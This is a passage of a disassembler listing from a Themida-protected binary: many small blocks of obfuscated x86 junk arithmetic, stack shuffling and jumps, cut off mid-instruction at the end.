; --------------------------------------------------------------------------- loc_5690ED: ; CODE XREF: Themida_:0056E0A2j sub edx, 4E5B7C01h sub edx, 6A8B5047h add edx, 1E5279F9h pop ebx add edx, 2 push edx push dword ptr [esp+4] push dword ptr [esp] pop edx push 303Fh mov [esp], eax mov eax, esp push 0D8Ah mov [esp], ecx mov ecx, 2F1F379Eh not ecx xor ecx, 0D0E0C865h jmp loc_56B6AB ; --------------------------------------------------------------------------- loc_569130: ; CODE XREF: Themida_:0056F9F6j sub ebx, edx jmp loc_566833 ; --------------------------------------------------------------------------- loc_569137: ; CODE XREF: Themida_:005714CEj not eax jmp loc_570606 ; --------------------------------------------------------------------------- loc_56913E: ; CODE XREF: Themida_:0056D936j mov edx, 5B09503Fh sub edx, 57AF205Bh jmp loc_56D844 ; --------------------------------------------------------------------------- lodsd sub eax, 7B2860E2h jmp loc_5607BD ; --------------------------------------------------------------------------- loc_569159: ; CODE XREF: Themida_:00563FF5j mov [esp], edx jmp loc_55E100 ; --------------------------------------------------------------------------- loc_569161: ; CODE XREF: Themida_:00563D31j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi jmp loc_56F717 ; --------------------------------------------------------------------------- loc_569176: ; CODE XREF: Themida_:00563398j shr edi, 2 push ebp mov ebp, 78AF1304h dec ebp xor ebp, 38F5FC7Eh xor edi, ebp pop ebp jmp loc_56C4E3 ; --------------------------------------------------------------------------- loc_56918E: ; CODE XREF: Themida_:0056FAA2j push dx mov dh, 0D7h jmp loc_56546F ; --------------------------------------------------------------------------- loc_569197: ; CODE XREF: Themida_:005616DAj inc dword ptr [esp] pop edi jmp loc_568E3B ; --------------------------------------------------------------------------- loc_5691A0: ; CODE XREF: Themida_:0056F54Fj mov edi, esp jmp loc_5652CE ; --------------------------------------------------------------------------- loc_5691A7: ; CODE XREF: Themida_:00564F5Ej mov ebp, 7DC3C6B2h sub ecx, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, 1BCF1759h add eax, 78187E39h add eax, 2511024Ah add eax, ecx sub eax, 2511024Ah sub eax, 78187E39h push edi mov edi, 110E0FCBh inc edi push esi push ebp mov ebp, 142021F7h jmp loc_56CEE5 ; --------------------------------------------------------------------------- loc_5691F2: ; CODE XREF: Themida_:0055E2A5j add al, 0A6h push ecx mov cl, 4Fh dec cl xor cl, 3Dh add al, cl pop ecx push bx mov bl, 0Ch add al, bl mov bx, [esp] jmp loc_572440 ; --------------------------------------------------------------------------- loc_56920E: ; CODE XREF: Themida_:005618FAj mov ebp, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_572293 ; --------------------------------------------------------------------------- loc_56921D: ; CODE XREF: Themida_:00569C00j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55DB41 ; --------------------------------------------------------------------------- loc_569230: ; CODE XREF: Themida_:0056DFDFj mov ebx, [esp] push 2999h mov [esp], edx jmp loc_56D2AF ; --------------------------------------------------------------------------- push 7EF9h mov [esp], edx mov edx, eax push edx push edi mov edi, 10A90540h jmp loc_560E83 ; --------------------------------------------------------------------------- loc_569256: ; CODE XREF: Themida_:0055F511j sub ebx, 60064ABCh jmp loc_5689B0 ; --------------------------------------------------------------------------- loc_569261: ; CODE XREF: Themida_:00571E6Dj add esp, 4 shr bh, 1 add bh, 7Dh xor bh, 35h shr bh, 7 xor bh, 4Fh jmp loc_55EB4C ; --------------------------------------------------------------------------- loc_569277: ; CODE XREF: Themida_:005642F1j pop dword ptr [esp] pop esp push ecx push 7960h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_55FC6B ; --------------------------------------------------------------------------- loc_569291: ; CODE XREF: Themida_:0056E089j mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] jmp loc_56D006 ; --------------------------------------------------------------------------- loc_5692A1: ; CODE XREF: Themida_:005632B8j mov edx, esp add edx, 4 jmp loc_55F573 ; --------------------------------------------------------------------------- loc_5692AE: ; CODE XREF: Themida_:0056C802j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebx, eax mov dx, [esp] jmp loc_5695D1 ; --------------------------------------------------------------------------- loc_5692CB: ; CODE XREF: Themida_:00567221j mov ebx, [esp] add esp, 4 sub ebx, 55741726h add ebx, esi add ebx, 55741726h pop esi add ebx, 2 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5698A3 ; --------------------------------------------------------------------------- loc_5692FC: ; CODE XREF: Themida_:0056DDEBj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 3FF72873h jmp loc_56EC78 ; --------------------------------------------------------------------------- loc_569316: ; CODE XREF: Themida_:00569564j mov [esp], eax push 4EDh mov [esp], ecx mov ecx, 1CAF3FB3h jmp loc_571FA4 ; --------------------------------------------------------------------------- loc_56932B: ; CODE XREF: Themida_:00571A1Dj push esi mov si, 4AE2h push edi mov di, 581Eh or di, 39E7h jmp loc_562871 ; --------------------------------------------------------------------------- loc_56933F: ; CODE XREF: Themida_:005677E9j mov eax, [esp] add esp, 4 push ebx mov ebx, esp push esi jmp loc_56BEF7 ; --------------------------------------------------------------------------- loc_569351: ; CODE XREF: Themida_:00561DD6j sub esi, 6A432B54h pop eax push edi push ebx push 0BE12093h pop ebx jmp loc_571174 ; --------------------------------------------------------------------------- loc_569365: ; CODE XREF: Themida_:005694D8j pop ecx jmp loc_570536 ; --------------------------------------------------------------------------- loc_56936B: ; CODE XREF: Themida_:00568EE5j mov ebx, [esp] add esp, 4 add esp, 4 push ebp jmp loc_5717FB ; --------------------------------------------------------------------------- loc_56937D: ; CODE XREF: Themida_:00564BA2j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_56152B ; --------------------------------------------------------------------------- loc_569394: ; CODE XREF: Themida_:0056F8BAj mov [esp], esi mov esi, 3CA431B5h jmp loc_566729 ; --------------------------------------------------------------------------- loc_5693A1: ; CODE XREF: Themida_:00561948j pop edi add [esp+8], ebx jmp loc_56FC85 ; --------------------------------------------------------------------------- loc_5693AB: ; CODE XREF: Themida_:00566DDEj add esi, eax pop eax xchg esi, [esp] pop esp sub [edi+24h], ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push edi mov edi, 3445547h add edi, 52010CF3h sub edi, 39824823h jmp loc_5713B0 ; --------------------------------------------------------------------------- loc_5693DD: ; CODE XREF: Themida_:005666F5j pop ebx jmp loc_56B337 ; --------------------------------------------------------------------------- loc_5693E3: ; CODE XREF: Themida_:0055DDD6j sub ecx, 76343262h push dword ptr [esp] jmp loc_56F484 ; --------------------------------------------------------------------------- loc_5693F1: ; CODE XREF: Themida_:005641B2j add edi, 4 push ecx push esi jmp loc_56E3B5 ; --------------------------------------------------------------------------- loc_5693FE: ; CODE XREF: Themida_:0056AA5Cj shl cl, 7 xor cl, 83h sub al, cl mov ecx, [esp] jmp loc_55E46B ; --------------------------------------------------------------------------- loc_56940E: ; CODE XREF: Themida_:0056D641j push ecx mov ecx, 6DA629E0h add ecx, 9259D622h mov edx, ecx pop ecx add ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569435: ; CODE XREF: Themida_:00563340j pop ebp jmp loc_565AC8 ; --------------------------------------------------------------------------- loc_56943B: ; CODE XREF: Themida_:0055DEEDj pop eax add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 xchg ebp, esi sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] not esi xor [esp], esi xor esi, [esp] jmp loc_56A98D ; --------------------------------------------------------------------------- loc_56947C: ; CODE XREF: Themida_:0056DF25j add ecx, 33414954h jmp loc_567895 ; --------------------------------------------------------------------------- loc_569487: ; CODE XREF: Themida_:00565FD3j push ebx mov ebx, esp jmp loc_56B5BD ; --------------------------------------------------------------------------- loc_56948F: ; CODE XREF: Themida_:005601BAj xchg ebp, [esp] pop esp mov [esp], eax mov ah, 17h xor ah, 0D9h push ecx jmp loc_5611A8 ; --------------------------------------------------------------------------- loc_5694A1: ; CODE XREF: Themida_:00564E22j add ecx, 44144053h sub ecx, eax push edx mov edx, 44144053h sub ecx, edx mov edx, [esp] add esp, 4 pop eax push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx sub esp, 4 jmp loc_55F584 ; --------------------------------------------------------------------------- loc_5694CC: ; CODE XREF: Themida_:0056AB1Ej shl ebp, 1 jmp loc_570565 ; --------------------------------------------------------------------------- loc_5694D3: ; CODE XREF: Themida_:00563DFBj mov eax, ecx pop ecx add eax, ecx jmp loc_569365 ; --------------------------------------------------------------------------- loc_5694DD: ; CODE XREF: Themida_:00561AB3j sub eax, 7D469F1h push ebx mov ebx, 0CBE22EDh dec ebx shr ebx, 6 shr ebx, 3 add ebx, 2D78092Eh add ebx, 0E6CBE44Ch or eax, ebx pop ebx not eax xor eax, 6DC8D74Fh or ebp, eax pop eax shr ebp, 2 jmp loc_567C51 ; --------------------------------------------------------------------------- loc_569510: ; CODE XREF: Themida_:00564988j add esp, 4 jmp loc_56C61B ; --------------------------------------------------------------------------- loc_56951B: ; CODE XREF: Themida_:005709DBj mov [esp], ecx mov ch, 16h neg ch neg ch jmp loc_55DB5C ; --------------------------------------------------------------------------- loc_569529: ; CODE XREF: Themida_:005724B1j mov ecx, 4 sub edx, 47912426h add edx, ecx add edx, 47912426h pop ecx jmp loc_565AB0 ; --------------------------------------------------------------------------- loc_569542: ; CODE XREF: Themida_:0055F679j add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 6FE9h mov [esp], edi jmp loc_55DEBC ; --------------------------------------------------------------------------- loc_56955E: ; CODE XREF: Themida_:0056A574j sub esp, 4 jmp loc_569316 ; --------------------------------------------------------------------------- loc_569569: ; CODE XREF: Themida_:0056A9A7j xor eax, esi push edx jmp loc_561F86 ; --------------------------------------------------------------------------- loc_569571: ; CODE XREF: Themida_:00567298j xor ebp, [esp] jmp loc_562E32 ; --------------------------------------------------------------------------- loc_569579: ; CODE XREF: Themida_:005724A9j push 23D2h jmp loc_56D426 ; --------------------------------------------------------------------------- loc_569583: ; CODE XREF: Themida_:00564F6Aj pop ecx dec al push ecx push ebx mov bh, 9Ch mov ch, bh pop ebx jmp loc_565ED3 ; --------------------------------------------------------------------------- loc_569592: ; CODE XREF: Themida_:00564019j add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_5648F3 ; --------------------------------------------------------------------------- loc_5695A1: ; CODE XREF: Themida_:00566FE2j pop cx jmp loc_570166 ; --------------------------------------------------------------------------- loc_5695A8: ; CODE XREF: Themida_:00572554j add ebx, 0BBEB1CC6h inc ebx shl ebx, 6 jmp loc_568C81 ; --------------------------------------------------------------------------- loc_5695B7: ; CODE XREF: Themida_:0056A202j sub al, bh mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_567719 ; --------------------------------------------------------------------------- loc_5695CA: ; CODE XREF: Themida_:0056EE05j neg ah jmp loc_570E2C ; --------------------------------------------------------------------------- loc_5695D1: ; CODE XREF: Themida_:005692C6j sub esp, 4 mov [esp], esi jmp loc_56A687 ; --------------------------------------------------------------------------- loc_5695DC: ; CODE XREF: Themida_:0056707Fj add edi, 448B4B92h jmp loc_56AB8C ; --------------------------------------------------------------------------- loc_5695E7: ; CODE XREF: Themida_:0056CA51j and esi, eax pop eax xor esi, 3265557Ah sub esp, 4 mov [esp], edx push ebp jmp loc_55F03F ; --------------------------------------------------------------------------- loc_5695FF: ; CODE XREF: Themida_:00562F71j mov ecx, eax mov eax, [esp] push esi mov esi, esp add esi, 4 push 1C0h mov [esp], ebp mov ebp, 19A94A19h jmp loc_56D04D ; --------------------------------------------------------------------------- loc_56961F: ; CODE XREF: Themida_:0056E2B2j sub esp, 4 mov [esp], ebx jmp loc_57187E ; --------------------------------------------------------------------------- loc_56962D: ; CODE XREF: Themida_:0056B3F4j add ebx, 4 jmp loc_560E43 ; --------------------------------------------------------------------------- loc_569638: ; CODE XREF: Themida_:00567D2Fj pop ebp jmp loc_56A2C4 ; --------------------------------------------------------------------------- loc_56963E: ; CODE XREF: Themida_:00564BBAj inc ch or ch, 2Ah xor ch, 0CCh sub ch, 1Ch jmp loc_568301 ; --------------------------------------------------------------------------- loc_56964E: ; CODE XREF: Themida_:0056D111j pop eax mov dh, bl mov ebx, [esp] add esp, 4 jmp loc_561C8D ; --------------------------------------------------------------------------- loc_56965C: ; CODE XREF: Themida_:0056D903j mov esp, [esp] push 23A0h mov [esp], ecx sub esp, 4 jmp loc_55FBB4 ; --------------------------------------------------------------------------- loc_569672: ; CODE XREF: Themida_:0056CDD1j sub bl, ah sub bl, 0F1h mov eax, [esp] add esp, 4 jmp loc_569FFE ; --------------------------------------------------------------------------- loc_569685: ; CODE XREF: Themida_:00571A60j sub bl, al push ecx mov ch, 0Ch dec ch jmp loc_55DC87 ; --------------------------------------------------------------------------- loc_569691: ; CODE XREF: Themida_:0056A25Bj add esp, 4 sub esp, 4 jmp loc_56188D ; --------------------------------------------------------------------------- loc_56969C: ; CODE XREF: Themida_:0056F28Fj add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] add edi, 4 add edi, 2 xchg edi, [esp] pop esp jmp loc_55E335 ; --------------------------------------------------------------------------- loc_5696B7: ; CODE XREF: Themida_:0055DB6Dj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ch, bh mov bx, [esp] add esp, 2 add ch, 0A4h jmp loc_560C9F ; --------------------------------------------------------------------------- loc_5696DB: ; CODE XREF: Themida_:00570081j xor al, 0E6h shr al, 6 jmp loc_56E74A ; --------------------------------------------------------------------------- loc_5696E5: ; CODE XREF: Themida_:005616ABj add esi, ebp jmp loc_56A974 ; --------------------------------------------------------------------------- loc_5696EC: ; CODE XREF: Themida_:0056EB10j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub edi, 50962875h pop eax jmp loc_56BBF9 ; --------------------------------------------------------------------------- loc_56970A: ; CODE XREF: Themida_:005630D9j mov edi, ecx jmp loc_55FF53 ; --------------------------------------------------------------------------- loc_569711: ; CODE XREF: Themida_:0055E2EEj pop ebp add ebx, eax jmp loc_56E67A ; --------------------------------------------------------------------------- loc_569719: ; CODE XREF: Themida_:005660B0j sub dword ptr [esp], 2CC560FFh mov eax, [esp] add esp, 4 push edi mov edi, 2CC560FFh add eax, 72757C88h add eax, edi sub eax, 72757C88h pop edi push dword ptr [esp] mov edx, [esp] jmp loc_56D476 ; --------------------------------------------------------------------------- loc_569747: ; CODE XREF: Themida_:0056F133j add esp, 4 mov esi, [esp] jmp loc_569DF8 ; --------------------------------------------------------------------------- loc_569752: ; CODE XREF: Themida_:005607B0j sub eax, 2C294E0Dh sub eax, edx add eax, 2C294E0Dh mov edx, [esp] add esp, 4 jmp loc_56E365 ; --------------------------------------------------------------------------- loc_569769: ; CODE XREF: Themida_:0056C231j mov ah, ch pop ecx mov ebx, [esp] add esp, 4 mov dh, 84h jmp loc_56EA8F ; --------------------------------------------------------------------------- loc_56977C: ; CODE XREF: Themida_:00570465j push ebp push esi jmp loc_55FB2E ; --------------------------------------------------------------------------- loc_569783: ; CODE XREF: Themida_:005700E5j add esp, 4 xchg ecx, [esp] mov ebp, [esp] add esp, 4 xchg ebp, edi jmp loc_570E77 ; --------------------------------------------------------------------------- loc_569796: ; CODE XREF: Themida_:00564B0Ej sub esp, 4 mov [esp], esi mov esi, 280E7442h sub dword ptr [esp+4], 13B1282Eh add [esp+4], esi add dword ptr [esp+4], 13B1282Eh jmp loc_55E98C ; --------------------------------------------------------------------------- loc_5697BD: ; CODE XREF: Themida_:0056F674j add dl, 61h xor ch, dl pop edx sub dl, ch pop ecx add al, dl mov edx, [esp] add esp, 4 jmp loc_571A5A ; --------------------------------------------------------------------------- loc_5697D3: ; CODE XREF: Themida_:0056BF98j add esp, 4 push esi jmp loc_56D646 ; --------------------------------------------------------------------------- loc_5697DC: ; CODE XREF: Themida_:00565D50j add al, 0BFh jmp loc_56AFF0 ; --------------------------------------------------------------------------- loc_5697E3: ; CODE XREF: Themida_:00563CE5j add edx, 7F8E53F1h jmp loc_5710FD ; --------------------------------------------------------------------------- loc_5697EE: ; CODE XREF: Themida_:005651D4j and edi, 3CF10C35h shl edi, 2 xor edi, 0E8102BA0h or edi, 5FD722C6h neg edi or edi, 48BB2ABDh xor edi, 0A57DE5D0h add esi, edi pop edi xchg eax, esi push eax jmp loc_567C91 ; --------------------------------------------------------------------------- loc_56981B: ; CODE XREF: Themida_:0055ED1Bj push 4 pop ebx jmp loc_56AD16 ; --------------------------------------------------------------------------- loc_569826: ; CODE XREF: Themida_:0056553Ej push ecx jmp loc_566864 ; --------------------------------------------------------------------------- loc_56982C: ; CODE XREF: Themida_:0056139Bj push 0C2C2F8Ch jmp loc_5699C3 ; --------------------------------------------------------------------------- loc_569836: ; CODE XREF: Themida_:0055E85Aj sub dword ptr [esp+4], 474D410Ch push 4ECDh jmp loc_56BC86 ; --------------------------------------------------------------------------- loc_569848: ; CODE XREF: Themida_:0056819Dj mov esp, [esp] mov cx, [esp] push eax push 6F61h jmp loc_55DBA5 ; --------------------------------------------------------------------------- loc_56985A: ; CODE XREF: Themida_:0056DE41j add ebx, edx push ebx mov ebx, esp push edx mov edx, 19F27B3Fh sub edx, 19F27B3Bh add ebx, edx pop edx sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_560DE0 ; --------------------------------------------------------------------------- loc_569883: ; CODE XREF: Themida_:0056A400j mov [esp], eax mov eax, 64552B44h jmp loc_56F1BC ; --------------------------------------------------------------------------- loc_569890: ; CODE XREF: Themida_:0056104Dj dec ch sub ch, 7 sub ch, 0Eh add bl, ch pop ecx push edx mov dl, bl jmp loc_560D7D ; --------------------------------------------------------------------------- loc_5698A3: ; CODE XREF: Themida_:005692F7j mov ax, [esp] push edi push 58BDh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push ebp mov ebp, 54FB1D87h push 0 jmp loc_56BE3A ; --------------------------------------------------------------------------- loc_5698CA: ; CODE XREF: Themida_:00569D52j mov edx, [esp] add esp, 4 sub bl, al add bl, 52h push small 754Eh mov [esp], cx jmp loc_56CEA2 ; --------------------------------------------------------------------------- loc_5698E5: ; CODE XREF: Themida_:0055F4E2j add esi, 0CB6DF863h mov ebp, esi pop esi jmp loc_561B30 ; --------------------------------------------------------------------------- loc_5698F3: ; CODE XREF: Themida_:0056EB17j mov esi, 27F477D9h inc esi sub esp, 4 mov [esp], edx push ebx mov ebx, 27F477DEh mov edx, ebx pop ebx xor esi, edx push dword ptr [esp] pop edx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebp, esi jmp loc_56A7F3 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569931: ; CODE XREF: Themida_:0056046Aj xor ebx, edx pop edx add edx, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_564217 ; --------------------------------------------------------------------------- loc_569953: ; CODE XREF: Themida_:00571125j xor [esp], esi jmp loc_567D3C ; --------------------------------------------------------------------------- loc_56995B: ; CODE XREF: Themida_:0056B84Aj push ebp push esi jmp loc_56DFC0 ; --------------------------------------------------------------------------- loc_569962: ; CODE XREF: Themida_:00562E42j pop edx shr edx, 6 jmp loc_56454A ; --------------------------------------------------------------------------- loc_56996B: ; CODE XREF: Themida_:0055EC7Bj add ebx, ecx push ecx push esi mov esi, 72384FF3h mov ecx, esi pop esi jmp loc_5613A0 ; --------------------------------------------------------------------------- loc_56997C: ; CODE XREF: Themida_:0056434Bj mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56999A: ; CODE XREF: Themida_:0056CF30j mov [esp], ebx jmp loc_561344 ; --------------------------------------------------------------------------- loc_5699A2: ; CODE XREF: Themida_:00570C37j mov esp, [esp] imul cx jmp loc_568404 ; --------------------------------------------------------------------------- loc_5699AD: ; CODE XREF: Themida_:00566C00j not ebx xor ebx, 4EF7D12h sub ebx, 76A234B6h sub ecx, ebx pop ebx jmp loc_5625FF ; --------------------------------------------------------------------------- loc_5699C3: ; CODE XREF: Themida_:00569831j pop edx push ebx mov ebx, 125943BCh xor ebx, 50972779h inc ebx sub ebx, 3690442h add ebx, 3460BD94h and edx, ebx mov ebx, [esp] add esp, 4 jmp loc_567DAE ; --------------------------------------------------------------------------- loc_5699EA: ; CODE XREF: Themida_:005682F6j add esp, 4 push 6A65h mov [esp], edx push 1 pop edx jmp loc_5634DC ; --------------------------------------------------------------------------- loc_569A03: ; CODE XREF: Themida_:00564E6Fj mov esp, [esp] push 4F57h mov [esp], esi mov esi, 2 push esi mov esi, 3DE7FD9h add esi, 23B94E02h xor esi, 596FF1C0h jmp loc_55E5B1 ; --------------------------------------------------------------------------- loc_569A2A: ; CODE XREF: Themida_:00568344j pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push 63E7h jmp loc_560C3F ; --------------------------------------------------------------------------- loc_569A4B: ; CODE XREF: Themida_:00563F53j push esi mov esi, 5DE12B22h mov edi, esi pop esi inc edi sub edi, 0DDEBB9D7h jmp loc_55F080 ; --------------------------------------------------------------------------- loc_569A60: ; CODE XREF: Themida_:0056F47Fj add ecx, 7B723B38h sub esp, 4 mov [esp], ebp push eax mov eax, 5AF40262h mov ebp, 5C994A2Bh xor ebp, eax pop eax sub ecx, ebp jmp loc_560780 ; --------------------------------------------------------------------------- loc_569A84: ; CODE XREF: Themida_:00563E3Dj push 2562h mov [esp], ebp push 31292CDDh pop ebp push ecx mov ecx, ebp mov esi, ecx pop ecx pop ebp add esi, 1 shl esi, 6 push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], edi mov edi, 2CF17E6Bh jmp loc_5719FA ; --------------------------------------------------------------------------- loc_569AC4: ; CODE XREF: Themida_:00565F17j push esp pop ebp jmp loc_57167A ; --------------------------------------------------------------------------- loc_569ACB: ; CODE XREF: Themida_:00562BEFj xor edi, 2A357039h sub ebp, edi pop edi mov esi, [esp] add esp, 4 push eax push ecx mov ecx, 108206DCh neg ecx jmp loc_57147C ; --------------------------------------------------------------------------- loc_569AE8: ; CODE XREF: Themida_:00564D61j mov dh, [esp] add esp, 2 add dh, 1 jmp loc_560E8D ; --------------------------------------------------------------------------- loc_569AF6: ; CODE XREF: Themida_:00565103j sub ebp, 0D4F6AC1h jmp loc_560B93 ; --------------------------------------------------------------------------- loc_569B01: ; CODE XREF: Themida_:0056CBEAj push ebx jmp loc_55F3AF ; --------------------------------------------------------------------------- loc_569B07: ; CODE XREF: Themida_:0056862Dj xor edx, 0D1C38DA0h sub eax, edx mov edx, [esp] push 6A1Ah mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_57067F ; --------------------------------------------------------------------------- loc_569B2D: ; CODE XREF: Themida_:0056095Fj add eax, ebx sub eax, 645E5104h sub eax, 68526BF7h push ebp push esi mov esi, 2A187B37h jmp loc_56FE6C ; --------------------------------------------------------------------------- loc_569B45: ; CODE XREF: Themida_:0056D509j sub esp, 4 mov [esp], ebp mov ebp, 4 add [esp+4], ebp jmp loc_561E7C ; --------------------------------------------------------------------------- loc_569B59: ; CODE XREF: Themida_:0056B7C8j mov ebp, 4B452F40h neg ebp inc ebp or ebp, 744667D6h sub ebp, 0F4FEF7D3h jmp loc_571DCD ; --------------------------------------------------------------------------- loc_569B72: ; CODE XREF: Themida_:00561676j mov ebp, esp add ebp, 4 jmp loc_560162 ; --------------------------------------------------------------------------- loc_569B7F: ; CODE XREF: Themida_:0055ED31j xchg eax, [esp] jmp loc_563277 ; --------------------------------------------------------------------------- loc_569B87: ; CODE XREF: Themida_:00568CBEj add edx, ecx add edx, 73B52F72h sub edx, 62DB3ABDh pop ecx push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] mov esp, [esp] push dword ptr [edi+1Ch] mov ecx, [esp] push 3F9Dh jmp loc_570B5D ; --------------------------------------------------------------------------- loc_569BB5: ; CODE XREF: Themida_:005648FEj xor eax, [esp] pop esp mov [esp], edi jmp loc_56FEE7 ; --------------------------------------------------------------------------- loc_569BC1: ; CODE XREF: Themida_:0056AB13j mov edx, edi jmp loc_55FAE9 ; --------------------------------------------------------------------------- loc_569BC8: ; CODE XREF: Themida_:0055F778j push dword ptr [esp] pop edi jmp loc_5720DD ; --------------------------------------------------------------------------- loc_569BD1: ; CODE XREF: Themida_:00561CE9j mov ecx, 89B110Bh mov ebp, 7D6A6626h sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 8B30AAE9h sub ebx, ebp pop ebp xor ebx, [esp] jmp loc_5711AC ; --------------------------------------------------------------------------- loc_569BF4: ; CODE XREF: Themida_:00565AD9j mov edx, 4 jmp loc_56F184 ; --------------------------------------------------------------------------- loc_569BFE: ; CODE XREF: Themida_:0055F5E0j push eax push ebx jmp loc_56921D ; --------------------------------------------------------------------------- loc_569C05: ; CODE XREF: Themida_:0055F629j sub ebp, 39C33608h push eax mov eax, 40661006h not eax and eax, 2B1A7A44h jmp loc_565E4C ; --------------------------------------------------------------------------- loc_569C1D: ; CODE XREF: Themida_:0055EE7Aj sub edi, 7E3868F6h jmp loc_5639CD ; --------------------------------------------------------------------------- loc_569C28: ; CODE XREF: Themida_:0056206Aj pop ebp jmp loc_5684E0 ; --------------------------------------------------------------------------- loc_569C2E: ; CODE XREF: Themida_:0056AC6Aj mov ecx, 657F10DCh jmp loc_56A932 ; --------------------------------------------------------------------------- loc_569C38: ; CODE XREF: Themida_:0056537Fj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55DA37 ; --------------------------------------------------------------------------- loc_569C4B: ; CODE XREF: Themida_:0057173Ej pop eax sub eax, 5FA143C6h jmp loc_56AC44 ; --------------------------------------------------------------------------- loc_569C56: ; CODE XREF: Themida_:00568B59j neg edi add edi, 0A2B1811Eh mov ebp, edi mov edi, [esp] push eax mov eax, esp jmp loc_57029F ; --------------------------------------------------------------------------- loc_569C6B: ; CODE XREF: Themida_:0055EAE8j add edx, 20E14655h pop esi dec edx add edx, 5AE40F55h push esi push 0EA31727h jmp loc_56C651 ; --------------------------------------------------------------------------- loc_569C84: ; CODE XREF: Themida_:00567C7Bj pop ebp add edi, 4 xchg edi, [esp] jmp loc_5624E8 ; --------------------------------------------------------------------------- loc_569C93: ; CODE XREF: Themida_:00568C9Ej pop edx jmp loc_561116 ; --------------------------------------------------------------------------- loc_569C99: ; CODE XREF: Themida_:005653BCj neg ebp dec ebp sub ebp, 8368F03Eh sub esi, ebp pop ebp push 0C7Dh mov [esp], edi jmp loc_570DA7 ; --------------------------------------------------------------------------- loc_569CB2: ; CODE XREF: Themida_:0055EF2Aj mov [esp], ecx jmp loc_562ED4 ; --------------------------------------------------------------------------- loc_569CBA: ; CODE XREF: Themida_:00564A90j pop ax sub al, dl pop dx jmp loc_55E892 ; --------------------------------------------------------------------------- loc_569CC5: ; CODE XREF: Themida_:005703CBj push ecx push 66D70A37h pop ecx xor ecx, 6E6B0E7Bh shr ecx, 7 dec ecx not ecx and ecx, 338C57B9h xor ecx, 60245DDBh push ebx mov ebx, 71900E91h shr ebx, 7 sub ebx, 3894757Dh and ebx, 0D7951BAh add ebx, 18AF5FD5h xor ebx, 2F2A5EC8h jmp loc_567368 ; --------------------------------------------------------------------------- loc_569D0A: ; CODE XREF: Themida_:00568782j add edx, 1C2655BAh push dword ptr [esp] pop ebx add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569D1F: ; CODE XREF: Themida_:005689F0j pop esi push ebx mov ebx, 104B02A7h dec ebx or ebx, 7B8D1EBEh xor ebx, 794B3CFEh add esi, ebx pop ebx sub ebp, 50F061B9h add ebp, esi add ebp, 50F061B9h pop esi xchg ebp, [esp] jmp loc_565FB8 ; --------------------------------------------------------------------------- loc_569D4D: ; CODE XREF: Themida_:005686A1j sub bl, dh add bl, 16h jmp loc_5698CA ; --------------------------------------------------------------------------- loc_569D57: ; CODE XREF: Themida_:0056B537j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_56D2A0 ; --------------------------------------------------------------------------- loc_569D70: ; CODE XREF: Themida_:00570D89j mov [esp], edi push ebx mov ebx, 70E1128Dh jmp loc_55FC54 ; --------------------------------------------------------------------------- loc_569D7E: ; CODE XREF: Themida_:00568CFBj sub ebx, 6EB0D28h add ebx, edi add ebx, 6EB0D28h pop edi push 7DCBh mov [esp], ebx jmp loc_56E0AD ; --------------------------------------------------------------------------- loc_569D9A: ; CODE XREF: Themida_:00565098j sub ebp, 14390AB5h jmp loc_561B14 ; --------------------------------------------------------------------------- loc_569DA5: ; CODE XREF: Themida_:0056B477j push ebp jmp loc_57151C ; --------------------------------------------------------------------------- loc_569DAB: ; CODE XREF: Themida_:00566795j add ecx, ebx pop ebx jmp loc_5638DE ; --------------------------------------------------------------------------- loc_569DB3: ; CODE XREF: Themida_:00570292j add esi, edi pop edi push edi mov edi, 6C26016Dh or edi, 6AB37822h add edi, 